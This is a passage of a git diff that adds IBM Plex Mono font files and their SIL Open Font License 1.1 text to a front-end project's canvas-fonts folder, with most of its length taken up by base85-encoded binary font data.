zhLtz>*Os_5*Q#ae+>LYGlHM(Iww@ZFyuAOC)k|l5WW&<!YkPavoxf^m-GZU&qHw_o zM&Ri0RMfpltp*hof#-zqpO*U}$cGm9a|hqARxg(KoCA1o#CtEA_TI=&yr-gxFRInp zT{PrWG9VF0YLmLzRvbM+sm7%Z(Z!2Hx4-!^IluwDKQhMqSl-@xVCPPGJ>)b4+F^k< z0vs-*zd-BT47EkL1g2b=;$&^VEu<xQ-|-V?V<JfDKjQ3+epU3QR?c$pYX0a)e<c5- z-TX%_uo-P1mbQ<lR*jh>t#xE4|Dg|n$=?8zSD=2@TEY<&fmqk4cMx>F+koE`oWVsS zhj`YJBkC!AHgYb~d|XjnoS7;{Dzj2thh#3<JqZ1x|GBfDIs^ZOzk#)&Vf4{&&_|cQ zjgUZdO@ahHuK!s;zWyZOC`a!v@p`|6vjN;3Ph*5DrrG~Y3rq@(jGqpGNPNmbb*^XO z9$19R(goA<k&(Uje?uN15WofcSmM#g_~9BKr5q+)nt(t;IiR2iK|y=Hek*t0%Ox=t zc8w33Ng85vIV@y3k4drLJ822h0kp*EBkoB<dLnu)EfwLOv_zVc{hR283-qMy{(^gs zcl*!1_Tl;XZ}!9C{SPDh3AFVfXzQJYF-UC|Mvvll?o0wvIGS+C9H*8XEmvkwA;WS8 zeA+_0!7s_#)JS6gVi3o{8w@uTu9^8;%R`gD9ocyh^L@e@$5C&&)O$c(n|N)fuGW4z z0_<jj*w&i#rBn)OK<<qZCSQjAwuaDF8f;cJK>u!TQ6q~J`_<}$8(lcv?6;=Yv~O*# zAz;b-cI4m`cd7k$WZd;$yEE}xa=jxMeVJiStyjLa^`g5V{UCkhTar6x#;Ko}_8R-2 zON}9V7OTF*p3v<FZ=gg}QA)(D-*TCeSaB)e-c2d#92i%<kbS84z)lS0ZMs@~Ij&k$ zzC@)W=|wW9;>k_zTh!X3`W7elsMYT22e}$+^ml-mQa$sx0UZ0^j<`z?PLXdpD6)PV zpegw_x-+pYx!&yGrq(Op+Ip#pNdH8fMzS*hlm)Dji)83u(M!<7`=Ohli!p%B*az&X zWkk5nPRdB`=cF?3=0G;15oKVTUwZaDA0!tG6ArEnBCYs(33rIpJxHI3^#A_FEe0wK zwqTi^timgkhkE6sOnSo*nPkdTx;&vKl-EK!CbvNE>UL5K8z-(TTmsc=(93iYNibz= zr^eMd+DXiTF=TINKH5pT<?6gcwv!Z*(if@yY5RgMVm)rt+bKm@K4)nnaC!%EPnkg6 zdwh~!Eg4P1D&5oHe3|{H`D}(Va!k7-fFpAmXbj2#Zlny3jeG|*5TGl<LAs(dgJpms zAfIzU1K_=cM<9ysY%w4m+<5Q?pM!fPrchOKiCUvJC3<aa5xz{S3d#hQDEJ;HuA)0l zF#%j@sQQxH8C*_)XiA3SMPXi1vF8BF&{$y&nz91eLnKt7ttq8qm~)!IOk7JfKsBoI zsz`3V&{~pIlh(IUQ}sDeU@Ijl5@d|nD+4jeMWeuWweD-t1tJb`kfkKd)G<VnCT1>h zz;HwwanjxH=fKt|tijg2z81|S-&vH7RkOY}ZSGHkR=J!OJPXy(Mkh9OMW!k>B0Ln8 zjkK^fE8k6Rh?)w_!vwMI*Ji2@bgHf?BsI}<X-1VOTWnSf8HUwDq^7YjB?Tjhb1Y0z zAqv928Z>;wxPMJ3`W?XiwUByJ+1rl$sA!zj!;UKMHSj*}jh+;7WRzwcK|bC1;U!#Z zND9@109+3=L!CzT(V-!7kE6=yQu&PK3vkdNRSL-md4LQvU3!rIbse^r#C~W`<OMe@ zZZZ0k$X6L{WbSnPSU;H0Tnx7{jxlK%V;smH>}b<tK-V^8+LYMCF@RRxy)&t{v9Olb zE*TWMri@q<&SvyTqbnSZK8ZrRef#@_wIp7HX8DfviPW}@W8>}W6N5FsPmKOnz!(}k z2W{yqNKRQOnOn^jSfT0jS1O8HZpe^Hk{yt1*rzFLZE5tCGH#;2$jeZl?xrN^A@xC4 zS&yG>-C>NLD0qSqvl;5tos}d<q|WRZO>1Ld3>^xiy6ci;%pqzUi_c}QP3UmU{zKca zgi%77EI$7+YSEG|3$<j&<Po-QjM|Fm9Zo&>&a^G9-%@B(Yk2eo76rzH>|`v;8F`6l z&xV_%_F@rFii%>2spRmvyzWWO?XmN6GQGn4PvsEx!yfeb3#-?B-*AB<p3BWCu3-Jy z+U_I6tb!3_U}6^{hr$ONL?h=R0&xYN`n4Fq7<GdtmQnY_G7$+Oa4<L_2#2rS8EI## z_2CFoAcKQ-cTm_`gz&HzigaVj7=u=n5o7CFD@))Qi!1uo`i#U%+(V73F~)F~QFZvW zQD+I@*w>6aj(>D{uuzxQ!bE*}CwQ=5XEq*;dFp^vvtAC!5Rf@7Tza56!xKds)LyKu zn?$Duhpw{<+GUZMPe2W>vC#D7No1_K13fp;4&U~wy?a$3F3uJqoB=yJ9YC3!CyQ`) zJ!6^Lw&xhvQ0sZA^fKwnN0}-*x*Mv*kEP6ZN<gg#qp2tWYnH61o`c?>Wy26Lo_F`h zi9h2%%(uDD0hBdzSY^Qz!Z--d!ofFgi*lhoKLShZT7jxDY37ORT*y9hM0eFZjBEqi zF=rHIR`FVcuSei<z7~>?_?nmjU$#wtA9GD~F8DIx;`PYl#XI$UVort3DWbFC%>rck zEHR*M=c7aX`LT2;>4(?sP5bdh`%#4SpzMhXSW)h3?a50j*Z2C^PVv1i@UzqBg8v>- zw;e!X#tP>Qf$QipuLWGfrFaB{J^+yuEwUah2T<eGNi(Zwq2|s)nn}yraN+~710zx! zYD(-`yi@fZSPb~-jbRgv-^pSoVDUsy2WL7t+oM-CTKgVeBx7|CS*x3-J)H@d)j3$| zwuybiUbL7A*!Rg^BRgps@JAWUw5Z#F82Fe8s;HTuFDcW*jMe)zg2P-j#{R@!R%VWh z>q!VTOXsu}MF;2EMdO3dOT<MhYl3aohsv%6^xvdW-X`9BP&4RIXa=jgJPS>*4}XXF zQn_}Eby)1ne72z)JwLD?M6(B8(WivImGg+PV8#0jpMzhn_Rwk1ujK>*+NOwuumyE5 zK9D$uepb<{gl0JM0IQ)HZ02HUhM!~Z8=M7DGrTUfKecO!$4%*e)m~2gm73sAIc6tn z+mG5dE_Po<Bg9I6M122(nE=h?j*n)<s}D0m&nSRq+_r<*>=U$zLB^3Un1S!kVupTQ z-*=gcnULUx;=hGsDRGQ8=YgAz*s~ctNy;>su~Jwwk0>#dCs2bf(4U;|<&-g13s4dI zRi7>AYh7B=keRMy4hYS=-#l3QQ#2tsJ5b<E=I*$@9t{s{!MN$hn==r0V@L<1)$j)4 zjRlNf&e+eOb>Pd!;U&uyT6Bg>LQ)w{dEkJ=UgT70$9+h1AgLu^M;S!DIdzItB8X|e zrYqLRNo3Rr4BFnw0|w#uHW;LuMm}O^(S=Wo;^;#`g76^WVDb4AU=fT4BtGM{IodPx zC_Bm#DXBf&^ot0^88+p%!I#`d`Y_Ul5f#8_*c&+v36YVL>c!W}0G-N~&k6+sn~Y>3 z4IThD1W(t#efOIXK_Ram#*#_ohCMBjB&OLD(>&s|2yNq7!ilJYQ!;)B_2~u4<Y(63 z%5hr)+?psFjs(NisD32&2!(>PF<8cZl|-t!o3z`=>H>PwEM|4jij*OCITK|$hUTR- z0Ek_1Jh6nVe8lL}l3cq7w1^}hWy?iI7LWy5o-MpuNA>9$2^(@iKJ7~bD<^?h_j4TG z5D096mI#7X(+XmB6NR~r{$S^@Fs3rjDbX^whn$b54PVr?7a^r=V$26!=2}v;izL-C zP!t#NYl}1$oC>`PzY$JMdJ=D#<-}A-4L#Adh_QjuLaAZ!iW)g)EamE+WX;w~sg)%3 zp$HP;md2JD^ywCOCAUN=D3^M$9gkX$=vH!vL62)<6bj!wV0~^{r~tPCnIgCid$`qO zLl=gK8rDhEI#ur4Ithb6UJy~^QLRAHjBx`fa@bZO*bz#c#2&A~>~AAIH8p`BlshZ9 z_*+M=0D>|zX43fqYbNJm2oNEm6;J+-Xj=5T?qS0xq^G5?J$|9th9+t)sx)izv>fS! za@zML$<VML7_mE6KX9QvVbIX=v@<cQtwa+Ztu;m6M`j3U`qzV54+SUeVTO{f3=y0k zVzj+Ji%zqSFsdO7AtIPg&^?Fx54-ou1b2l}h(4vQ5`}X4b<EP1*Q<ozjGSQaio#_^ z5E+y1W9nX-^BbLgHPDKf74(=rTeieVHysJxj3C@uSdP(B>{e24PTG9&s+N{H?_1Kb zc-6(5CoS$+^1e9<E(R73%t#g~FL-_d%Hs?z_RU~4V%gMwoai*f*y74E73KFWEi4Lx z;$$h8RiH?%uP_EeN-XjrEJlfpqBT+bazqpgL<DEqpjsV((B168sBq*Pq6>^}C?)b3 zHFKV>ZL=w{3?Z%3Xhi0gsntG=q1zK*^k77hh$SD*bvK9BV{A(FrHN;;a+7kS5@Dw9 z<j#ZpIz#K1z4g{Iz>)kFH?@{17;7tGjSfP%h6dfu{OZ<a;T%T7+L}rnSfn^`OT$im zTx*?_Vpeq^mFJ^`d{m#0-pdCJDkt$)r^-<|or$;P4{!U_Gs_aq@+Z-}Og)1?R#RkO zB2t-JkclY`Mqf#^D%4kmtmxPr;C6gbs1o0zd&1V>MXd&FplyiPOcfFtB9T%O=ZZmZ z<6K>G_&}U1O&VzfBWT1gklF@+rk~uO6-Xp4V}!;R8H)-459hLM`AIFX<p)}T3M94y zGL2XTtz>8cHAmR|(g0AuDIeRCkTA?loNxCsKFr2WgrJ92;({z=d!UJ7l8_!sFWNW4 zm<29+<FTIb9Wbmegs>5=JJKhEC~){N=!Uil{$tci3t%BHWP6k0@n*zzlp1X+9UDUL zkd^6zT{3uL7^S7b<CQ`<Xz>v)<NzXM3MGz)M{L#uh@W6cjt-u{cu;*9dGuoxpgq<P zgLC_u-OUHTh8NFgeGasv&7+I)7Ne~hcA%q8DEax`z2sfytv{xe1xY3E)Fk+&l;m8K z@(%Q0dFPr$wS7nRrMzQd!d$2iliHW<t$lz0l?Ri%J<D6}_P^s`Q3F+oYbY{eq2jGw z{#)5`r6a@H!Xm*a=+hhZDYz{<_!k>Vj`!7rhj<^G8P5&Af5D;NzaVjS@cq6+y$|vV zyze|W*88C9=kS8pT4(Pe-rkEB{I^#f;_X#<LEZ+<gX-+t9&hk5sX#Rtsvhh;qX!ay za;rnXMK8v%Pt$-i%UR}Zz{d7xITturIlG<DI$w2e#Rfx<IZrsxJFhrzVR2+R)&}92 z8SELmMxCfmQ|GG7)W_8I>PzYt?7#4+`jvV{{g?Wm(C6<~+tusp4Gt@{9by8;j-*g3 zByBKhn@OjcbfHO?oAg~KJ;S6QFzKZxy~d<_O!`HWe%GY8ne-8p{?eq+ne-)-zN%9N zaYp!5u}N{FxZHP}w9lk-O}f&gYfbt-lYY>oA2sQ<CcVL=UpMKkCcW3BKR4-bP5P`! z|2H%{^~AuP>UmtRfKSOJ?{i#@@|+`E56Oc+^TD4358mK|H~4^p4hOdi+w27Eo5-Bn zjYSBbmS?N*>pIDujbG1`Uzg$6W98X(`1LdLtko$}-SX@Xy!Qjijp98jZ}(t}!y<K- z<Zw)^x)nLCs#77R5lE$ys(Y=uZ${dQ`$41=k<Kvp^UVDcq^t1!c%<u)o@DM%G54Sg z=WIN`80mRPuQ2!jYVJRQ^g2Ah3F&8$e#P8>!`y>ToICLRA*4S*`eSpy&)okS>2okG zo|Ll@{)oH3;2JHxQ$goeutXJ)rRIIi+~a_B)r$K8q}@n|%>68LzX0hnJl}xySfnSI z`z_{vE7G&@`~sxgkzRuI0;E@&`>T=e#{FlJej4c)%>7r*{kM?bis$zuy$k8XNbg7b zn7Mx(0#0w7Z}#4nP4v_AIa!`}2A&7sX%9Rf4&-Bje71LvRyo1Cf^Y`w4c3+Iok#%Y zU|WLa1nbK7POz?Q@4S=cs9#i;lvMKiQCdb#FOKq1glO@P(lY9ReLXQ^b6yD}_Vt99 z^GZ-n_VvU3aI^i+t48gyj}p(?8vT0q*hlH``8B7*=Y#A+>ecu*e;B%5cZF@1m#)^` zU|Zy+8;;WZE8phw-){J`mGAV7K83R`dqOY29XgF$3vIp`<_vcHhvjh+a>q;VE6Cj> zxj!TKN9NQ5Cr{0i+||fkCAq&rAig5GuOjy?$!$e$i{x-piz;Bw`7uQ8Lz24!xr-&Y z1i5+g-s33mG32<$RQs7i5J1hyS0bH<bP#DLt|iFNKspiE@yMTobQP|XkUs<II$Rec z|F1~T#&req6qo1Wx(WGjAiWOPSCIcM($C;}2ziReJ8=CN`ClXb0j@tH|0L2sBYh6( zlSu!9^f{z&K=2eG9YtCOL6n2%qex@8&p}#`bQaQ9qzjOCBW*=GfV3Ow5YjD3mm%GX z^jM^+0`w|8KMT*VM!Fs8Sx7HHx*h2yNWY47H_~q*{WQ{40s0u8--_ptBfSghtw@6c z^cCDcf#-ii`ZUrfkUo#}X{3Mpr$E)aaPlOTfZz-Y%l~Hu>V1u|SR=0=rDfDy%h5fF z;$_tD?dypVoAXLI-+t!{ApgU-ef=;$TyMYgs!@CFqr@L<jeb3zv_0Rx<$dVa>_O^% z=Yy;~NZ+XsL$~X$umF4M(rkkBpYIEfvf&5YL680<@u<5b%(<_l?<M%^KfMH6L>)yh z!9D5;Xb4Y>*3gMw6N4Xyc!6i;7kH+B0nBx39B1P_G5uk>7kCDLf#(D$@C^O}&k0bV z4SpEL1)dY20KN!nCY;SiWQxqi@$Ualv;RrJ{YU63)M5UNl=lIh<{fteP^Y;HItO){ ztC6PaFueaNo_`wYw~#(jdY8iN^Iy}o8EQ9=;SIV69+x+R+Kkq2Ucqx}H-G!5cJu$Q zcJrlymX-ltKT6A}Wmdd;;@!)r|Fo|sMr_V2;WGQ3uSWPEmf6=2^TQSPJFgnG$39BD zVr%s4@l>D7>|5T4e$5`F-giF8%7gTs`Y?36?g|UAm(I$j#r*Sq!BIB+$ShT;!pxc^ z&($&JO3&#bD!?r|)Z7YYdE6pzE{5}VoN9p##H<#l8B_L0;_RG`LXp`yJ$GZ@56sfq z8AgBZ#+%P$`F6G^%e<MM>j}*N;r$$^mGf-g?7y7@bqS`-fx6hGity>#B0a0gGBD@u zVIkslGd{^isD~jK5v$87W6tpE04+?UU@sXdtJ}5BwIHEDJCA5!^7dTeG&Q4+I4^5Y z&I)-jxtlSy%h1*HGqlUwkHpS;5lG-r+7(VK1Mzd$fCh-kanGEkW1`-lDc23pAtrFf z9ohg#dvlp?JzLIbMGyFt_A9?nIC*F1$#tJ74|W23@M{408a+pdeNxp+?u*#q?_46x z?DB^*D;+tx=`sL<6TKpcXTc86xVRf34p0q2<-;$`tdR`ny`N%ut3832doM7yy2#0e z7N=vYa<Q8k&ObN%q*nnZoX*?Xuk<N2Jo7TvfWO$FtyrlGW3A;?Z53tl(y0@scLi_U zwS{^4MTJF+YumjHdg(&6<VR>pj4dfKQBKa0wj|GMNuFs*q1TcL$lZ;=u0lCc<W8p| z&=PYPjWk5s@xF?Nvhv2Vn(D!_$!&qWZbjwXx(+siDcW$IdzyOK{W&@U@gLqCEGE3L zYc?nXF`bOxzfMiTY1ltMjr`|V?o#y;_Z47uF^R@sMaA>jUa@^tVly|{%s!hLkPHKJ zBMcc$ITU$HXXg}L?$Yl1`i8EqhWh$$j^u6b8c@w2P;0I80S5Z&Gl~#LhLK#x7&3?T zd({dVky!QwY6Dfh2i1<?x*Qj%DuQ3Rds)P3k_RLl9vZI$FDs!)mM6hCm~?mF#Mah{ z6WiKu!8H+icTGFadu?mOpLRb7=&!)ur|qFuAUNVoPaS>wbRR;$CK*LudrZg)w<PWy zj{S1oDIZ*h%bnTz;EeC!Vz0d5&P0?!Cu+cM03JU!Sjko{u#fW8?9HcK?9S|ca1P4Z zi*i0_%SoaKfe(QvMCt(Qkqp9qkpY&5W0AcVpR(C~Y0iVagy&3mhWhUi=$32#*lcd) zk6sGvUILTT<(SMGvb~dZXcl=hhc@{unF;EfW$RmM>cbYBoj7w>o%!KaANtU;4~Hh) zH1phZXM)yP^Fq{Ii;uC=GElS7ho-#%VqK{Sl0sLs#8xy_G9Kb%Xy1S9y4;1qx@MxT zVnkTZBG$b)&`foq()(@y>JGUJaW))bs-@pWKL{tn=Ap$Q)i-g$#D@G0m9dWc`i@xT zhWv(!3*4E_Q)bupG_`eiw>9<D&YsfD)_wr}^)etRbEXi23Bu~^Xvo&@TxOvw#%`2; z#St*UzJ(hrE6;7pjTaTgbDPestla3%oHab$dsZkM4xQCIJUok|@dmeDJrG)ib~igG zv)&e`RYX>WHxkcIZfhonev5r&w`4Fq@Dx$PWAw<r!R`!l>>j7wbu#(X8`al1tt%Gm zn$~F3ns~ehm)l<1G1S;NwWG?WtLkDc)wS{mefuedSN<@xA36GnPNmpwbK0d1q(26_ zGnI3El4+Kq2APN#{kz*xaRb^>tlRMv%i)1O(iZe`2%VkW9(^pDobcN|bj8ZuO~c*Q z)!oBQHXW|39j*&?%s6jd;%hiQy1s5=V`*vQ#5$%+Cq}C)d65>Lb{DCShvH}xG^PL# z2yx7%4Oul9X;o7<Pq;A@e}Z3MjrD<j?hE+3h2zF(fY69|W>*PbXv8&uE5z}R4G3R) zZ|;q5k$ijKXrH<dJI6LSQyE=v_KrnxFC<y)DfvEzr!jmV!}od;C;}`2O7yXR4#^PW zUO|$B-ig%3u9`V@R#AVnIaXeiTUH;dtXec7Tv%P$&|B3$X@7mm^un^jqTIrQeAhjF zQ#cfEYLB;6<pa#)0Mjv${xuGExhb%E2D&z|%gqGtO;av?6O(?KHjFMR4#{4pq80qI zW@1alyy-dbindRz&Wn{yh!+eM&Doz{-dx=?950Pl#Tu(8<d+wh77kX|j*gBla@RWd zLnnxYzL)qln&;rz>F#OH|ALH-gl_Ymea&6!ybDq^68gUPY>~SL-~Iv5Zug!Y=gxHA zgye{X?(m-7g=g1;M@K?;de6?nvla5}F7MeqcZTy2cyJ_ici`DVJgddCdjij9;u#KI z3*GBI`xm#}`7}m&By^vChS<iP?j+|!p&H2GA#j)|sp@QuR~ZaEXUU8TlPQrW2=bP0 zCcD8YEeL0>$mQn!trzaD>!^x0)zq!(z9>{vSP?I&U)0dj`flLsd+s9Vy`bYr=m854 zEgI*`pw39>-$ySbUIEWl>Ko1_?gdclo5=ClujX7^IX5AMv6q7}9Dzz-UXjai>Y>3) zx@Paabcb6yIOT+M**DjX_Bq#qZX=-wy>{L*I^?Vy{VCenh;k!rC$$6~FN^fAxGiD* z7zUL|>VRkgZEcT1{@1p()j|^>ls6~-;;b3{35HZe`0}L55sbXmHy*!v+7pDJ7Z5aq zP9vd*3<U1zG<VSXN$3YSL$*e6E%GFlqjF3W3=bYIM5pdsMH|M*6ySWC$P_aA{za1- zqpK=QYO3R<js5kNtD=pQ7S*mf<s5ggwr^^Dpsu2(G`Fs^ZXiCjul5U~S^T50)MSDs z1ZkQPmPgMyWlbhn)VdiDc4D2B#>*|hODpD<(dX=&H5LmVg0kSH2?WssYK)2SOT$nS zd1eIfJ3C3U?KQOvdoRie<_^$tal^vK=B86TXg>>R2jHtdTxhvFZYji271BCD-KzT* z!lXMh{KHvIn~aUA_bi+#L30N;nVR;5Hhkt=3kVskCtKhybnXY8hM<2mI)iAV$jSjL zB1<I0^+XX0bt6<KAf?(~L-krjVh3d4G+1L0g1N~mb`;c^FzWR!M%{MzgESNOwZ&_x zYbX5yO!EQL1EKq&|5ZROAxtuY2V?}xSkXfn{EjdIyAi-r37CqJ)&ZsvU>e5Z4@rYN z8LWX%F4?hT(I;<Ah3w_)=AVB0{Oi7+0+!q!HoiiDiAqQiUl=-L0=5Su==~{Bg+7eY zb8SYDK&A6tEWeOGj5;R*TX|Yr$g`ZqWX=YgHJqLqjXADV%>|T9qtK+e1whoQ>_jv0 zy;2abdpbv}?cZXj{{53nckEdBN$JeXHQE5p5_hU|Pv}<kUffw|=_y6!N;MPUMA3C> z>wp~pE)b*`uTtT>G!1*w$7WxC>Fke9>Y3M9pTDFc-dkVa8?RWBU*9*+ed)Xf8#XLB zFILkz5bKLK*VHt}`(gu~HIAG3nL8P@MS4FxTu~II<0>jf5l}SC(x$}~cy$E-)5J;q z3_bdk#+7vBBo9~Yx#G|*kW&@TzW`Sgv_zg@d(LFmz$!4JnHhKw&{I4You`vZ?Pa#7 znBg+a3RyO@gF?RAm*A)Y{angX8<gZc8U=uMe6+4T7VRK&yddAedyDYHMGeg@?_FxZ z_C^8sq9E7stimi@BV_c43}XSFiP#u}^fUBY^rjAmk<%W{I27E`h3MV;LSKQ*ZE~&z zJ{vSX8#H!Gpe2|AU@`;p1gF!Zce&?uxd$oFpU(vWCi|!8iz+uu;;Wz;HvpS;I5`=o z70Y1@IE9!s9)kx|E<!=?6a!T}zm>uGs;nIROS=~B*s)+&=qu@5``aI#zh%q(k3w;9 zwz+SrmqNSI-s7q9`{!*C3eQ&6!t|Z=w!P^&*}M#({UD(IA)t*BTF={Nq-sWJ^Pm{$ zRXf=|Y7?A7G5W^zsGS_}q9u9M1kzNGTBuAt9J&w)h20UbqhN*Q!2J}0`w1KCiY_S} z%DUG=7oLVz{>pt-eI)c5jOixYaLL{^-4%!OoV}XrIeP=Wyay%LI_tB0&VpsbU`uw3 zfgau?JPPOr(H^mX><!;5=I6ve_5%E4KLcVS&g|^|G5B}%5Zt0OJTF8$h+VL?uvRCM zePk~r`N&>?kL+>OGAYSE7A<nDvV(rI7p$M`1^CHKS;@T|LTIINk8RNz!l^BAH{dG^ zeaiEdJr6I^z2F#|NioU3GK6W`HcN(Og`rS}K|`s6aQyzVdxJi#mr?t}sC{Kp?Z8S9 zzaW7W6ruK~@N_&bvzJYE^v=D2+Q2KFY3ze!k6B6uN%bG5v+RX5XBmBEFThs@cd@QJ z*;h7p-G}2Zdm)p*Y#;n(f6nGF3wR`&=AMw$>~yr_3ID0>N7rAr&-%%1n(8n6wfbTB zQjjP8W#=5qUlycN0K88VaSm*?FqUhPcG1e+$dJ5o6LLn8p>pze_|ATDNZ%QJ8^48b z;~{X#IgtF~OE8B3vqwn##;vhMXV}0fh9Oo;0_gGhI3DtS9AX<j?ffKsnppT!BW3PB z_N&H>Bcn|)v&BAbM22jd!sCc7{inyW^p6HiM_}=1fXTP`3DXJamsW5Zh#qpK-H?kn z;S%)hLq_znEjq)V!FiAJ^IcGC=n>%wGt|%=cq5X`{PI*c$&~>U|H_PZbNB?`$WQz! z9h>MM_$dhW5@=Qfh=#w@iEF6ifI4oWj$5cDL#X3;n?K)$qvUh{dKa`%!rt=>!fo|0 ztI>>awiA<AzSfvD+Zjo1cy?v-+>B@l-IlIfK9LC<^b)-6+z(pU`u=?2L%akW`ljR3 zB-_z;8H6s)?lKUc!OPAA;WHou=`$dN;xo9(+GSgGhMk1%^Kh|~-VO&sXzy4K1hJit z7?(%Ooe=KN>Q10H;Yl?peI0d90UpJhutob0IB>b{B#%RYxXc4C<%X<pEU!X#OPT(o z3|<B4@1R%Vcg{WGlhD6$=iQe6JfYMGLLAU?C`Bl3F+$137^EjAWm@uZ{0(z1yKGiQ ze?#a~WBD7N1YL6E92qu`lHWmkJm`0LQWXnNu5iu;HpTC-MSB_8trLLF36{-??}2EY zfS%`5`X79WIX+JW9TA7^eK3rAQJVLGBPedT(Naqd<Kad}*%c9vXK_V9f-H2ObnXkU z5nsfMfKhxATeJ&;*lYkc8|*l00K(;l<A}})>yr>ej(ftuoWzBIhZ=CVB4;hG_uv}A zbvZ6thd1N;4z34q{Q}psxL(Coc+!FbC>?$&laQZ}D+d~AW|xOAqz>isfYP(_Xt+BT R@7OVaS9ndjNb=kr{|6P61VI1* literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/IBMPlexMono-OFL.txt b/skills/frontend-dev/canvas-fonts/IBMPlexMono-OFL.txt new file mode 100644 index 0000000..e423b74 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/IBMPlexMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright © 2017 IBM Corp. with Reserved Font Name "Plex" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/IBMPlexMono-Regular.ttf b/skills/frontend-dev/canvas-fonts/IBMPlexMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..601ae945ebe1a717ac3ab7ed393288975da83b32 GIT binary patch literal 133796 zcmd442Yi&p);~To&t}tmC3QC;2`PllmK4%RZzP0}gb-;VKnN`uLJ<)Wv0=l0v0}#p zq9Q`{s#g&eQL%TycCWpn*8<`9J@d?FH^l3G@BO^*|MMrzGv%3Q=A1KU&YU@Oo@W_n zjD_H0V5aJd$|~yy>ng^?l_-6nx@pps)CWsmWz4t?6~3vS(pt7vZ2z7y^IXQf*`z7s ztha8wWe@7xQGa&VlFnrrzgK?1SnyiLJm2eD*>4KS5w|eLkK+D>`OCVO7^hvI%a~S! zvgO^K%a^ezW=1*__k+3@pEh4R_SY)LX0$NAy>Y?3&be{D^SW?<J?`f$K!L~k2HfY< zksrNaN&o8KA3mPVSUTVd3R>LT)oB$^FJ)|0J7ZoxOFCCCGnN^BP`?oMO-ttWcV4}A zRV4C&nT=oCxn$ms;)7=~<~tiWMlb7K-amO;B-$R|&sgH&WqtFOeU)1E3~+xG&+KBH zY0QiHups7f;sgsso*4}M7naU?n2~b$hu#F!?nF&4@AJX0QPMtmZ19*kU)7Nn>0&U* z62bP>yztr5S%HN=F>mcNy7PXac7o!=m&NYIv$u%z4YQE-M&r(ZdVh?KL4laNcxg9c zN_#KY)1V9UE<derapuI%{-r|+lt!{bR>2&sgO#zBtdCW)O)Q1gvS!wXyM8C~m>;iY zM!pDP62hs>C=AR`3?O{M{Fp(s^Ucfy-EI<~G^^KRK9d!4hnKhT_3-u(8WY-9CVD5Z zyaLpb|7yz`O#BJPeisHw7X#;^vl+jJZVCh1XUrri2Pmiv{{)Kxjr<S-ST3&jv7IRU z0DqhtIOxZNc`&Z&JRR4ud@QbQybafL_&K;9;0JJhfxm$3QSc!b5h4QDQ3CCXI1z_y zy1=s{OJw1iBXV%f7X`Q$i6UI9L=~=eq7K(a(a5;APkWhZ+N;{fxc-1~(ij6nW!CRu z-c9ZIbAHLRJ^aKudss!>UW}MFYv$NJU~!YFvZrDvpN)*jL_xY4DJ|1fwNp#3YHm-O zX4+)hR6BQ*smipVbM8(<vW#(K-ll2eOgq_>_8weY+RZyBOp6&x&YL!EJlZi(J9q@u zH%&te3snn<Wzo3fsN|7ZZ`!G)G__A|-?_dbX6J;8X)$KAsdDENP3=3MsE9F7n}%A( zAxHu789h-7W>3IuOvimMy_G5LJ14~KWYacnqBf_rCz*Gy-?S-a6Yx;^J?x2-3OGBt zV1g<DCC~;aQMre&Z$e{;lFTtwkYr9W1I}p`=-WH9eoA{KAT>`LOEk}51K<f?CNemf 